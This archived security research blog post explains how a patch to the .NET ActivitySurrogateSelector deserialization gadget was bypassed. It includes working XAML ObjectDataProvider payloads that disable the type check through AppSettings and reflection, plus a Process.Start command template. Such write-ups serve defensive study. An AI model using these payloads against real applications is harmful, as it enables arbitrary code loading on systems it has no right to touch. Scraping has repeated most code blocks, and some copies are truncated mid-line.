Re-Animating ActivitySurrogateSelector

Re-Animating ActivitySurrogateSelector - Nick Landers, NetSPI.

- Published: date not stated
- Original: <https://www.netspi.com/blog/technical-blog/red-teaming/re-animating-activitysurrogateselector/>
- Preserved from: https://www.netspi.com/blog/technical-blog/red-teaming/re-animating-activitysurrogateselector/ (manual-import) on 2026-08-12
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

In 2017, James Forshaw released a DotNet deserialization gadget which abuses the ActivitySurrogateSelector class from System.Workflow.ComponentModel. As detailed in his post, this gadget is particularly useful, providing cross-version support and the ability to load arbitrary assemblies into memory (as compared to the common Process.Start technique). However, in newer versions of the DotNet framework (4.8+), this gadget was apparently fixed. We rely on this gadget in some of our stage 0 payloads and were interested in finding a workaround. This is a short post detailing our solution.

The Fix

For those who didn't read Forshaw's post (you should), the ActivitySurrogateSelector class unintentionally provides a generic wrapper for typically unserializable classes. This is great for complex gadget design because it means you are no longer limited to types marked as Serializable. The particular chain James created to abuse this behavior is quite amazing, and worth analyzing if you get a chance.

To examine how Microsoft patched this problem, I cracked open a patched copy of the System.Workflow.ComponentModel.dll. Comparing against the previous code, we see that a type check has been added to the GetObjectData function, ensuring that only an ActivityBind or DependencyObject can be wrapped with the surrogate.

```
private sealed class ObjectSurrogate : ISerializationSurrogate

{

public void GetObjectData(object obj, SerializationInfo info, StreamingContext ctx)

{
```

if (!AppSettings.DisableActivitySurrogateSelectorTypeCheck &&

!(obj is ActivityBind) && !(obj is DependencyObject))

{

throw new ArgumentException("obj");

}

// ...

}

}

private sealed class ObjectSurrogate : ISerializationSurrogate { public void GetObjectData(object obj, SerializationInfo info, StreamingContext ctx) { if (!AppSettings.DisableActivitySurrogateSelectorTypeCheck && !(obj is ActivityBind) && !(obj is DependencyObject)) { throw new ArgumentException("obj"); } // ... } }

```
private sealed class ObjectSurrogate : ISerializationSurrogate
{
        public void GetObjectData(object obj, SerializationInfo info, StreamingContext ctx)
        {
                if (!AppSettings.DisableActivitySurrogateSelectorTypeCheck &&
                        !(obj is ActivityBind) && !(obj is DependencyObject))
                {
                  throw new ArgumentException("obj");
                }
                // ...
        }
}
```

As expected, they also added what appears to be a new option (still undocumented) which disables the type check in the off chance that it breaks something. If we trace **DisableActivitySurrogateSelectorTypeCheck** we also discover a core reason that this gadget, in particular, was likely fixed so quickly.

internal static bool DisableActivitySurrogateSelectorTypeCheck

{

get

{

if (NativeMethods.IsDynamicCodePolicyEnabled())

return false;

AppSettings.EnsureSettingsLoaded();

return AppSettings.disableActivitySurrogateSelectorTypeCheck;

}

}

internal static bool DisableActivitySurrogateSelectorTypeCheck { get { if (NativeMethods.IsDynamicCodePolicyEnabled()) return false; AppSettings.EnsureSettingsLoaded(); return AppSettings.disableActivitySurrogateSelectorTypeCheck; } }

```
internal static bool DisableActivitySurrogateSelectorTypeCheck
{
	get
	{
		if (NativeMethods.IsDynamicCodePolicyEnabled())
			return false;

		AppSettings.EnsureSettingsLoaded();
		return AppSettings.disableActivitySurrogateSelectorTypeCheck;
	}
}
```

As the gadget can be used to trigger arbitrary assembly loads, a call to **IsDynamicCodePolicyEnabled** was added to ensure the type white-list is always enforced if WLDP (Device Guard) is enabled. We aren't concerned with WLDP, therefore we're left with **AppSettings.disableActivitySurrogateSelectorTypeCheck**. Underneath this flag maps to ConfigurationManager.AppSettings which typically refers to policies in an app or web.config file.

NamedValueCollection collection = ConfigurationManager.AppSettings;

bool.TryParse(

collection["microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck"],

out AppSettings.disableActivitySurrogateSelectorTypeCheck

)

NamedValueCollection collection = ConfigurationManager.AppSettings; bool.TryParse(collection["microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck"], out AppSettings.disableActivitySurrogateSelectorTypeCheck)

```
NamedValueCollection collection = ConfigurationManager.AppSettings;

bool.TryParse(
collection["microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck"],
out AppSettings.disableActivitySurrogateSelectorTypeCheck
)
```

So we just need a way to configure a setting for an application we don't control, which is actually easier than you might think. See ActivitySurrogateSelector was fixed, but many other DotNet

gadgets are still in working order. Most of them, implemented in ysoserial.net, are configured to execute Process.Start with a target command line. Re-purposing them to instantiate a class from an arbitrary assembly would take serious wizardry, but luckily we only need them to do one thing, **Disable the type check.**

Retooling

The newest kid on the gadget block is TextFormattingRunProperties, discovered by Oleksandr Mirosh. Like many other gadgets, it relies on having controlled input to a XamlReader.Parse call. The core exploitation of this input depends on the ObjectDataProvider element. These are typically used to connect UI elements (TextBox/ComboBox) to custom objects or code. These objects and their capabilities are fascinating in their own right, and worth additional research. The typical template for a Process.Start call looks something like this:

<ResourceDictionary

xmlns_x="https://schemas.microsoft.com/winfx/2006/xaml"

xmlns_System="clr-namespace:System;assembly=mscorlib"

xmlns_Diag="clr-namespace:System.Diagnostics;assembly=system">

<ObjectDataProvider x_Key="Calc" ObjectType = "{x:Type Diag:Process}" MethodName = "Start" >

<ObjectDataProvider.MethodParameters>

<System:String>cmd</System:String>

<System:String>/c calc </System:String>

</ObjectDataProvider.MethodParameters>

</ObjectDataProvider>

</ResourceDictionary>

<ResourceDictionary xmlns_x="https://schemas.microsoft.com/winfx/2006/xaml" xmlns_System="clr-namespace:System;assembly=mscorlib" xmlns_Diag="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x_Key="Calc" ObjectType = "{x:Type Diag:Process}" MethodName = "Start" > <ObjectDataProvider.MethodParameters> <System:String>cmd</System:String> <System:String>/c calc </System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>

```
<ResourceDictionary

    xmlns_x="https://schemas.microsoft.com/winfx/2006/xaml"
    xmlns_System="clr-namespace:System;assembly=mscorlib"
    xmlns_Diag="clr-namespace:System.Diagnostics;assembly=system">
  <ObjectDataProvider x_Key="Calc" ObjectType = "{x:Type Diag:Process}" MethodName = "Start" >
  <ObjectDataProvider.MethodParameters>
    <System:String>cmd</System:String>
    <System:String>/c calc </System:String>
  </ObjectDataProvider.MethodParameters>
 </ObjectDataProvider>
</ResourceDictionary>
```

As the XML is parsed, the ObjectDataProvider object is created, and the target method is immediately executed to prepare results. To re-use this, we'll need to somehow connect an ObjectDataProvider entry to **AppSettings.disableActivitySurrogateSelectorTypeCheck**. To start, I came up with the following C# code to disable the type check:

ConfigurationManager.AppSettings.Set(

"microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck",

"true"

);

ConfigurationManager.AppSettings.Set(
"microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");

```
ConfigurationManager.AppSettings.Set(
      "microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck",
      "true"
);
```

To reproduce this code with XAML input, we'll actually need two ObjectDataProvider objects. This is because AppSettings is retrieved from the static ConfigurationManager class, followed by the instance method Set(). We can replace ObjectType with ObjectInstance to get this sequential behavior. Also worth noting that because of overrides, the **Add() **method of AppSettings will t hrow an exception, but **Set** works just fine for us.

<ResourceDictionary

xmlns_x="https://schemas.microsoft.com/winfx/2006/xaml"

xmlns_System="clr-namespace:System;assembly=mscorlib"

xmlns_Config="clr-namespace:System.Configuration;assembly=System.Configuration">

<ObjectDataProvider x_Key="appSettings" ObjectType = "{x:Type Config:ConfigurationManager}" MethodName = "get_AppSettings" ></ObjectDataProvider>

<ObjectDataProvider x_Key="setMethod" ObjectInstance = "{StaticResource appSettings}" MethodName = "Set" >

<ObjectDataProvider.MethodParameters>

<System:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</System:String>

<System:String>true</System:String>

</ObjectDataProvider.MethodParameters>

</ObjectDataProvider>

</ResourceDictionary>

<ResourceDictionary xmlns_x="https://schemas.microsoft.com/winfx/2006/xaml" xmlns_System="clr-namespace:System;assembly=mscorlib" xmlns_Config="clr-namespace:System.Configuration;assembly=System.Configuration"> <ObjectDataProvider x_Key="appSettings" ObjectType = "{x:Type Config:ConfigurationManager}" MethodName = "get_AppSettings" ></ObjectDataProvider> <ObjectDataProvider x_Key="setMethod" ObjectInstance = "{StaticResource appSettings}" MethodName = "Set" > <ObjectDataProvider.MethodParameters> <System:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</System:String> <System:String>true</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>

```
<ResourceDictionary

    xmlns_x="https://schemas.microsoft.com/winfx/2006/xaml"
    xmlns_System="clr-namespace:System;assembly=mscorlib"
    xmlns_Config="clr-namespace:System.Configuration;assembly=System.Configuration">
  <ObjectDataProvider x_Key="appSettings" ObjectType = "{x:Type Config:ConfigurationManager}" MethodName = "ge
  <ObjectDataProvider x_Key="setMethod" ObjectInstance = "{StaticResource appSettings}" MethodName = "Set" >
    <ObjectDataProvider.MethodParameters>
      <System:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</System:Stri
      <System:String>true</System:String>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
</ResourceDictionary>
```

Now that we have a payload for disabling the type check, we just need to execute it before our original ActivitySurrogateSelector gadget. We could obviously do this manually through whichever entry vector we have. The setting should be persistent during the life of an app instance, so sending the disable payload once would suffice for most scenarios.

**Update: **After additional testing, I discovered the technique of stacking objects in a list won't work. This is because an exception is thrown while deserializing the first object, causing the second object to never be touched.

string disable_xaml = @"...";

TextFormattingRunPropertiesMarshal disable_payload =

new TextFormattingRunPropertiesMarshal(disable_xaml);

List<Object> object_group = new List<Object>();

object_group.Add(original_payload);

object_group.Add(disable_payload);

return Serialize(object_group, ...)

string disable_xaml = @"..."; TextFormattingRunPropertiesMarshal disable_payload = new TextFormattingRunPropertiesMarshal(disable_xaml); List<Object> object_group = new List<Object>(); object_group.Add(original_payload); object_group.Add(disable_payload); return Serialize(object_group, ...)

```
string disable_xaml = @"...";

TextFormattingRunPropertiesMarshal disable_payload =
   new TextFormattingRunPropertiesMarshal(disable_xaml);

List<Object> object_group = new List<Object>();

object_group.Add(original_payload);
object_group.Add(disable_payload);

return Serialize(object_group, ...)
```

Wrapping Up

Fixing only one of the available gadgets, but leaving the rest, is a recipe for disaster. Depending on your motivation, many of the existing gadgets can be retooled for interesting purposes beyond starting a process. I just really liked ActivitySurrogateSelector and wanted to keep it around.

I've submitted a PR for ysoserial.net to support this new bypass.

– Nick (@monoxgas)

Update – 6/6/19

After some additional work on the gadget, some changes have been made to support more scenarios.

The reference made to **ConfigurationManager.AppSettings **only occurs if the internal **Workflow.ComponentModel.AppSettings** has not yet been initialized:

if (!AppSettings.settingsInitialized)

{

... // Read in values from the global config

AppSettings.settingsInitialized = true;

}

if (!AppSettings.settingsInitialized) { ... // Read in values from the global config AppSettings.settingsInitialized = true; }

```
if (!AppSettings.settingsInitialized)
{
   ... // Read in values from the global config

   AppSettings.settingsInitialized = true;
}
```

Therefore if the disableTypeCheck flag has ever been queried before, our original payload will make no difference. To fix this, I've added some **System.Reflection **calls using ObjectDataProviders to manually set the internal Workflow boolean value. In addition, I found a slightly simpler way to access the static **ConfigurationManager.AppSettings** class.

<ResourceDictionary

xmlns_x="https://schemas.microsoft.com/winfx/2006/xaml"

xmlns_s="clr-namespace:System;assembly=mscorlib"

xmlns_c="clr-namespace:System.Configuration;assembly=System.Configuration"

xmlns_r="clr-namespace:System.Reflection;assembly=mscorlib">

<ObjectDataProvider x_Key="type" ObjectType="{x:Type s:Type}" MethodName="GetType">

<ObjectDataProvider.MethodParameters>

<s:String>System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</s:String>

</ObjectDataProvider.MethodParameters>

</ObjectDataProvider>

<ObjectDataProvider x_Key="field" ObjectInstance="{StaticResource type}" MethodName="GetField">

<ObjectDataProvider.MethodParameters>

<s:String>disableActivitySurrogateSelectorTypeCheck</s:String>

<r:BindingFlags>40</r:BindingFlags>

</ObjectDataProvider.MethodParameters>

</ObjectDataProvider>

<ObjectDataProvider x_Key="set" ObjectInstance="{StaticResource field}" MethodName="SetValue">

<ObjectDataProvider.MethodParameters>

<s:Object/>

<s:Boolean>true</s:Boolean>

</ObjectDataProvider.MethodParameters>

</ObjectDataProvider>

<ObjectDataProvider x_Key="setMethod" ObjectInstance="{x:Static c:ConfigurationManager.AppSettings}" MethodName ="Set">

<ObjectDataProvider.MethodParameters>

<s:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</s:String>

<s:String>true</s:String>

</ObjectDataProvider.MethodParameters>

</ObjectDataProvider>

</ResourceDictionary>

<ResourceDictionary xmlns_x="https://schemas.microsoft.com/winfx/2006/xaml" xmlns_s="clr-namespace:System;assembly=mscorlib" xmlns_c="clr-namespace:System.Configuration;assembly=System.Configuration" xmlns_r="clr-namespace:System.Reflection;assembly=mscorlib"> <ObjectDataProvider x_Key="type" ObjectType="{x:Type s:Type}" MethodName="GetType">
<ObjectDataProvider.MethodParameters>
<s:String>System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</s:String>
</ObjectDataProvider.MethodParameters> </ObjectDataProvider> <ObjectDataProvider x_Key="field" ObjectInstance="{StaticResource type}" MethodName="GetField">
<ObjectDataProvider.MethodParameters>
<s:String>disableActivitySurrogateSelectorTypeCheck</s:String>
<r:BindingFlags>40</r:BindingFlags> </ObjectDataProvider.MethodParameters>
</ObjectDataProvider> <ObjectDataProvider x_Key="set" ObjectInstance="{StaticResource field}" MethodName="SetValue"> <ObjectDataProvider.MethodParameters> <s:Object/>
<s:Boolean>true</s:Boolean> </ObjectDataProvider.MethodParameters> </ObjectDataProvider>
<ObjectDataProvider x_Key="setMethod" ObjectInstance="{x:Static c:ConfigurationManager.AppSettings}" MethodName ="Set">
<ObjectDataProvider.MethodParameters>
<s:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</s:String> <s:String>true</s:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider>
</ResourceDictionary>

```
<ResourceDictionary

  xmlns_x="https://schemas.microsoft.com/winfx/2006/xaml"
  xmlns_s="clr-namespace:System;assembly=mscorlib"
  xmlns_c="clr-namespace:System.Configuration;assembly=System.Configuration"
  xmlns_r="clr-namespace:System.Reflection;assembly=mscorlib">
  <ObjectDataProvider x_Key="type" ObjectType="{x:Type s:Type}" MethodName="GetType">
    <ObjectDataProvider.MethodParameters>
      <s:String>System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
  <ObjectDataProvider x_Key="field" ObjectInstance="{StaticResource type}" MethodName="GetField">
    <ObjectDataProvider.MethodParameters>
      <s:String>disableActivitySurrogateSelectorTypeCheck</s:String>
      <r:BindingFlags>40</r:BindingFlags>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
  <ObjectDataProvider x_Key="set" ObjectInstance="{StaticResource field}" MethodName="SetValue">
    <ObjectDataProvider.MethodParameters>
      <s:Object/>
      <s:Boolean>true</s:Boolean>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
  <ObjectDataProvider x_Key="setMethod" ObjectInstance="{x:Static c:ConfigurationManager.AppSettings}" MethodN
    <ObjectDataProvider.MethodParameters>
      <s:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</s:String>
      <s:String>true</s:String>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
</ResourceDictionary>
```